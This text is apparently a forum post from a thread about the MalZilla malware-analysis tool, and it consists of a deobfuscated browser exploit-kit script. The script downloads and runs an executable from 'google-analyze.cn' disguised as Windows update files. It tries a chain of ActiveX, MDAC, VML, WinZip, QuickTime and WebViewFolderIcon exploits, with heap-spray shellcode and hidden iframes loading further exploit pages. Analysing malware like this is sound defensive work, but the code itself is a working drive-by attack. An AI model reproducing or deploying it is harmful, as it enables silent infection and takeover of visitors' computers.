Here is the script after deobfuscation:
var url='http://google-analyze.cn/getexe.exe?o=2&t=1220309190&i=1365934880&e=';
var success=0;
var exeurl=url+'1';
function CreateO(o,n){
var r=null;
try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,"")}catch(e){}}
if(!r){try{r=o.CreateObject(n,"","")}catch(e){}}
if(!r){try{r=o.GetObject("",n)}catch(e){}}
if(!r){try{r=o.GetObject(n,"")}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return(r);
}
var repl=new Array("-","ip","il","te","je","el","ca","ec","ol","os","LH","SX","ve","DO","re","od","pe","it","cl");
function Go(a){
var fso=a.CreateObject("Scr"+repl[1]+"ting.F"+repl[2]+"eSys"+repl[3]+"mOb"+repl[4]+"ct","")
var sap=CreateO(a,"Sh"+repl[5]+"l.Appli"+repl[6]+"tion");
var nl=null;
fname="KB908845.exe";
fname=eval("fso.Bu"+repl[2]+"dPath(fso.GetSp"+repl[7]+"ialF"+repl[8]+"der(2),fname)");
try{nl=CreateO(a,"Micr"+repl[9]+"oft.XM"+repl[10]+"TTP");nl.open("GET",exeurl,false);}
catch(e){try{nl=CreateO(a,"M"+repl[11]+"ML2.XM"+repl[10]+"TTP");nl.open("GET",exeurl,false);}
catch(e){try{nl=CreateO(a,"M"+repl[11]+"ML2.Ser"+repl[12]+"rXM"+repl[10]+"TTP");nl.open("GET",exeurl,false);}
catch(e){try{nl=new XMLHttpRequest();nl.open("GET",exeurl,false);}
catch(e){return 0;}}}}
nl.send(null);
rb=nl.responseBody;
var x=CreateO(a,"A"+repl[13]+"DB.St"+repl[14]+"am");
x.Type=1;
eval("x.M"+repl[15]+"e=3;x.O"+repl[16]+"n();x.Wr"+repl[17]+"e(rb);x.Sa"+repl[12]+"Tof"+repl[2]+"e(fname,2);sap.Sh"+repl[5]+"lEx"+repl[7]+"ute(fname);");
return 1;
}
function mdac(){
var i=0;
var target=new Array("BD96C556"+repl[0]+"65A3-11D0-983A-00C04FC29E36","AB9BCEDD"+repl[0]+"EC7E-47E1-9322-D4A210617116","0006F033"+repl[0]+"0000-0000-C000-000000000046","0006F03A"+repl[0]+"0000-0000-C000-000000000046","6e32070a"+repl[0]+"766d-4ee6-879c-dc1fa91d2fc3","6414512B"+repl[0]+"B978-451D-A0D8-FCFDF33E833C","7F5B7F63"+repl[0]+"F06F-4331-8A26-339E03C0AE3D","06723E09"+repl[0]+"F4C2-43c8-8358-09FCD1DB0766","639F725F"+repl[0]+"1B2D-4831-A9FD-874847682010","BA018599"+repl[0]+"1DB3-44f9-83B4-461454C84BF8","D0C07D56"+repl[0]+"7C69-43F1-B4A0-25F5A11FAB19","E8CCCDDF"+repl[0]+"CA28-496b-B050-6C07C962476B",null);
while(target[i]){
var a=null;
a=document.createElement("object");
a.setAttribute(repl[18]+"assid",repl[18]+"sid:"+target[i]);
if(a){try{var b=CreateO(a,"Sh"+repl[5]+"l.Appli"+repl[6]+"tion");if(b){if(Go(a))return 1;}}catch(e){}}
i++;
}
}
if(mdac()) success=1;
if(!success){
document.write("<script language=VBScript>\r\n"+
'Set elem=document.createElement("ob'+repl[4]+'ct")'+"\r\n"+
'fname="KB908518.exe"'+"\r\n"+
'elem.setAttribute "id","elem"'+"\r\n"+
'elem.setAttribute "'+repl[18]+'assid","'+repl[18]+'sid:BD96C556'+repl[0]+'65A3-11D0-983A-00C04FC29E36"'+"\r\n"+
'Set obj=elem.CreateObject("Sh'+repl[5]+'l.Appli'+repl[6]+'tion","")'+"\r\n"+
"Set nsp=obj.NameSpace(20)\r\n"+
'Set pnm=nsp.ParseName("Symbol.ttf")'+"\r\n"+
'tmp=Split(pnm.Path,"\\",-1,1)'+"\r\n"+
'path=tmp(0) & "\\" & tmp(1) & "\\"'+"\r\n"+
"fname=path & fname\r\n"+
'set tpqpd=CreateObject("Micr'+repl[9]+'oft.XM'+repl[10]+'TTP")'+"\r\n"+
'iiqu=tpqpd.Open("GET",exeurl,0)'+"\r\n"+
"tpqpd.Send()\r\n"+
"On Error Resume Next\r\n"+
"egsyho=tpqpd.responseBody\r\n"+
'Set acvqqrp=elem.CreateObject("Scr'+repl[1]+'ting.F'+repl[2]+'eSys'+repl[3]+'mOb'+repl[4]+'ct","")'+"\r\n"+
"Set kld=acvqqrp.CreateTextFile(fname, TRUE)\r\n"+
"lotzom=LenB(egsyho)\r\n"+
"For j=1 To lotzom\r\n"+
"plkosl=MidB(egsyho,j,1)\r\n"+
"qamplxd=AscB(plkosl)\r\n"+
"kld.Write(Chr(qamplxd))\r\n"+
"Next\r\n"+
"kld.Close\r\n"+
'Set yipt=elem.CreateObject("WScr'+repl[1]+'t.Sh'+repl[5]+'l","")'+"\r\n"+
"On Error Resume Next\r\n"+
"yipt.R"+repl[19]+" fname,1,FALSE\r\n"+
'<\/script>');
}
if(!success){
exeurl=url+'9';
document.write('<object classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5" id="test"></object>');
try{test.DownloadFile(exeurl,"..\\~tmp0001.exe","0","0");document.location="exploits/x9.php?zenturi=1";}catch(e){}
}
var nop='90',noc='0C',scf='F';var shellco='%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320'+
'%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE'+'%u3828%u74F2'+
'%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF'+'%u5EE7%u5E8B'+
'%u0324%u66DD%u0C8B%u8B4B'+'%u1C5E%uDD03%u048B%u038B'+
'%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u2e00%u5C2e'+
'%u2e7e%u7865%u0065%uC033%u0364%u3040%u0C78%u408B'+
'%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40'+
'%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83'+
'%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F'+'%u6FE8'+
'%uFFF'+scf+'%u8BFF%u2454%u8DFC%uBA52%uDB33'+'%u5353%uEB52'+
'%u5324%uD0FF%uBF5D%uFE98%u0E8A'+'%u53E8%uFFF'+scf+'%u83FF'+
'%u04EC%u2C83%u6224%uD0FF%u7EBF'+'%uE2D8%uE873%uFF40'+
'%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u672F%u6F6F%u6C67%u2D65%u6E61%u6C61%u7A79%u2E65%u6E63%u672F%u7465%u7865%u2E65%u7865%u3F65%u3D6F%u2632%u3D74%u3231%u3032%u3033%u3139%u3039%u6926%u313D%u3633%u3935%u3433%u3838%u2630%u3D65';
if(!success){
var obj=null;
try{
obj=document.createElement("object");
obj.setAttribute("classid","clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F");
if(obj){
var mystring=unescape(shellco+"%u3731");
var hbs=0x100000,sss=hbs-(mystring.length*2+0x38);
var hb=(0x0c0c0c0c-hbs)/hbs;
var myvar=unescape("%u"+noc+noc+"%u"+noc+noc);
var ss=myvar;
while(ss.length*2<sss)ss+=ss;
ss=ss.substring(0,sss/2);
var m=new Array();
for(i=0;i<hb;i++)m[i]=ss+mystring;
z=Math.ceil(0x0c0c0c0c);
z=document.scripts[0].createControlRange().length;
}
}catch(e){}
}
if(!success){
obj=document.write('<iframe src="exploits/x12b.php?o=2&t=1220309190&i=1365934880" width=0 height=0></iframe>');
}
if(!success){
var repl=new Array("cl","-");
try{
obj=document.createElement("object");
obj.setAttribute(repl[0]+"assid",repl[0]+"sid:2F542A2E"+repl[1]+"EDC9-4BF7-8CB1-87C9919F7F93");
var mystring=unescape(shellco+'%u3331');
var myvar = unescape("%u"+noc+noc+"%u"+noc+noc);
var bblock = myvar;
var sspace = 20 + mystring.length;
while (bblock.length < sspace) bblock += bblock;
var fblock = bblock.substring(0,sspace);
var block = bblock.substring(0,bblock.length - sspace);
while (block.length + sspace < 0x40000) block = block + block + fblock;
var mem = new Array();
for (i=0; i<400; i++) mem[i]=block+mystring;
var buf = '';
while (buf.length < 32) buf = buf + unescape("%"+noc);
var m = '';
m = obj.Console;
obj.Console = buf;
obj.Console = m;
m = obj.Console;
obj.Console = buf;
obj.Console = m;
}catch(e){}
}
if(!success){
var target1=document.createElement("object");
target1.setAttribute("classid","clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277");
var target2=document.createElement("object");
target2.setAttribute("classid","clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277");
var mystring=unescape(shellco+'%u3031');
var myvar=unescape("%u"+nop+nop+"%u"+nop+nop);
var bigblock=myvar;
var slspace=20+mystring.length;
while(bigblock.length<slspace)bigblock+=bigblock;
var fillblock=bigblock.substring(0,slspace);
var block=bigblock.substring(0,bigblock.length-slspace);
while(block.length+slspace<0x40000)block=block+block+fillblock;
var memory=new Array();
for(x=0;x<800;x++)memory[x]=block+mystring;
buffer="\x0a";
add = buffer+buffer+buffer+buffer;
while(buffer.length<5000)buffer+=add;
try{target1.server=buffer;target1.initialize();target1.send()}catch(e){}
try{target2.server=buffer;target2.receive();}catch(e){}
}
if(!success){
var repl=new Array("cl","-");
try{
winzip=document.createElement("object");
winzip.setAttribute(repl[0]+"assid",repl[0]+"sid:A09AE68F"+repl[1]+"B14D-43ED-B713-BA413F034904");
var mystring=unescape(shellco+'%u2038');
var hstoaddr=0x0c0c0c0c;
var hbsize=0x400000;
var spslsize=hbsize-(mystring.length*2+0x38);
var myvar=unescape("%u"+nop+nop+"%u"+nop+nop);
var bigb=myvar;
while(bigb.length*2<spslsize)bigb+=bigb;
bigb=bigb.substring(0,spslsize/2);
hblocks=(hstoaddr-0x400000)/hbsize;
var memory=new Array();
for(var i=0;i<hblocks;i++)memory[i]=bigb+mystring;
var test='';
for(i=1;i<231;i++)test+='A';
test+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
try{winzip.CreateNewFolderFromName(test)}catch(e){}
}catch(e){}
}
if(!success){
var repl=new Array("ti","bj");
try{
var test=eval("new Ac"+repl[0]+"veXO"+repl[1]+"ect('QuickTime.QuickTime')");
var mystring=unescape(shellco+'%u2037');
var hstoaddr=0x0c0c0c0c;
var hbsize=0x400000;
var spslsize=hbsize-(mystring.length*2+0x38);
var myvar=unescape("%u"+nop+nop+"%u"+nop+nop);
var bigb=myvar;
while(bigb.length*2<spslsize)bigb+=bigb;
hblocks=(hstoaddr-0x400000)/hbsize;
bigb=bigb.substring(0,spslsize/2);
var memory=new Array();
for(var i=0;i<hblocks;i++)memory[i]=bigb+mystring;
document.write('<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"><param name="src" value="exploits/x7b.php"><param name="autoplay" value="true"><param name="loop" value="false"><param name="controller" value="true"></object>');}
catch(e){}
}
if(!success){
try{
var obj=document.createElement("object");
obj.setAttribute("classid","clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E");
var hstoaddr=0x05050505;
var mystring=unescape(shellco+'%u2033');
var hbsize=0x400000;
var plsize=mystring.length*2;
var spslsize=hbsize-(plsize+0x38);
var myvar=unescape("%u"+nop+nop+"%u"+nop+nop);
var spsl=myvar;
while(spsl.length*2<spslsize)spsl+=spsl;
var spsl=spsl.substring(0,spslsize/2);
hblocks=(hstoaddr-0x400000)/hbsize;
var memory=new Array();
for(i=0;i<hblocks;i++)memory[i]=spsl+mystring;
var ssrt=' method="';
for(i=0;i<10437;i++)ssrt+='ԅ';
document.write('<html xmlns:v="urn:schemas-microsoft-com:vml"><object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"></object><style>v\\:*{behavior:url(#VMLRender);}</style><v:rect style="width:120pt;height:80pt" fillcolor="red"><v:fill'+ssrt+'"></v:rect></v:fill>');
}catch(e){}
}
if(!success){
var repl=new Array("eb","ie","ol","co","et","li");
try{
var wvfi="W"+repl[0]+"V"+repl[1]+"wF"+repl[2]+"derI"+repl[3]+"n.W"+repl[0]+"V"+repl[1]+"wF"+repl[2]+"derI"+repl[3]+"n.1";
var wvfio=new ActiveXObject(wvfi);
var mystring='%u'+nop+nop+shellco+'%u2032';
while(mystring.length<3072)mystring+="%u"+noc+noc;
mystring=unescape(mystring);
var myvar=unescape("%u"+noc+noc);
var bigb=myvar;
while(bigb.length<=0x100000)bigb+=bigb;
var memory=new Array();
for(var i=0;i<120;i++)memory[i]=bigb.substring(0,0x100000-mystring.length)+mystring;
for(var i=0;i<1024;i++){
var wvfio=new ActiveXObject(wvfi);
eval("try{wvfio.s"+repl[4]+"S"+repl[5]+"ce(0x7ffffffe,0,0,202116108);}catch(e){}");
var wvfio=new ActiveXObject(wvfi);
}
}catch(e){}
}
Topic: MalZilla (Read 298700 times)
